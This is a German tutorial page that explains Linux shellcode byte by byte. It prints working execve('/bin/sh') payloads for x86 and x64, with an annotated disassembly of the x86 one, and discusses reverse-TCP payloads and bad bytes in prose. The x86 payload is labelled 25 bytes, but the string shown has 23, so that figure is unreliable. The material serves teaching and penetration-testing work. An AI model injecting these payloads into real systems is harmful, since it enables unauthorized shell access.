Shellcode-Beispiele: Linux x86 und x64, Byte für Byte
Kommentierte Shellcode-Beispiele für Linux x86 und x64 — execve /bin/sh und Reverse TCP — mit den Bytes, der Disassemblierung und den Fallstricken.
Der schnellste Weg, Shellcode zu verstehen, ist, ihn zu lesen. Unten stehen funktionierende Beispiele mit den Bytes und der Erklärung jedes Teils. Neu im Thema? Beginne mit Was Shellcode ist.
execve("/bin/sh") — Linux x86 (25 Bytes)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Disassembliert:
xor eax, eax ; eax = 0, also a clean NUL source
push eax ; null-terminate the string
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx -> "/bin//sh"
push eax ; argv null
push ebx ; argv[0]
mov ecx, esp ; ecx -> argv
mov al, 0x0b ; syscall 11 = execve
int 0x80
Beachte das // in /bin//sh: Es füllt den String auf eine 4-Byte-Grenze auf, und der Kernel behandelt doppelte Slashes als einen. Ein kleiner Trick, der die Pushes ausgerichtet hält, ohne ein Null-Byte zu erzeugen.
execve("/bin/sh") — Linux x64 (31 Bytes)
\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
x64 ändert die Aufrufkonvention: Argumente gehen in rdi, rsi, rdx, die Syscall-Nummer in rax (59 = execve), und du nutzt die syscall-Instruktion statt int 0x80.
Reverse TCP
Reverse-TCP-Beispiele sind größer, weil sie Listener-IP und -Port in einer sockaddr-Struct einbetten — genau dort, wo sich Bad Bytes gerne verstecken. Ein IP-Oktett von 0 oder ein Port, der sich zu einem verbotenen Byte kodiert, beschädigt die Verbindungsdetails still und leise, sodass der Payload zwar läuft, aber nie nach Hause telefoniert. Statt einen brüchigen Blob einzufügen, erzeuge einen für deinen eigenen Listener und inspiziere ihn. Den Lab-Ablauf findest du in der Reverse-TCP-Checkliste.
Warum dasselbe Beispiel auf deiner Maschine scheitern kann
Ein funktionierendes Beispiel ist nicht automatisch portabel. Syscall-Nummern unterscheiden sich zwischen x86 und x64, die Instruktion int 0x80 gegenüber syscall unterscheidet sich, und ein für ein Bad-Char-Set abgestimmter Payload kann Bytes tragen, die dein Auslieferungspfad verbietet. Wenn ein bekannt-gutes Beispiel scheitert, verdächtige die Umgebung — Architektur, Auslieferungs-Constraints, Kodierung — bevor du die Logik verdächtigst.
Eigene Varianten erzeugen
Statische Beispiele sind zum Lernen. Für eine Engagement willst du Bytes, die auf Zielarchitektur, Format und Bad-Char-Set abgestimmt sind. Baue und kodiere sie im Shellcodes-Builder und disassembliere dann, um zu bestätigen, dass sie tun, was du denkst.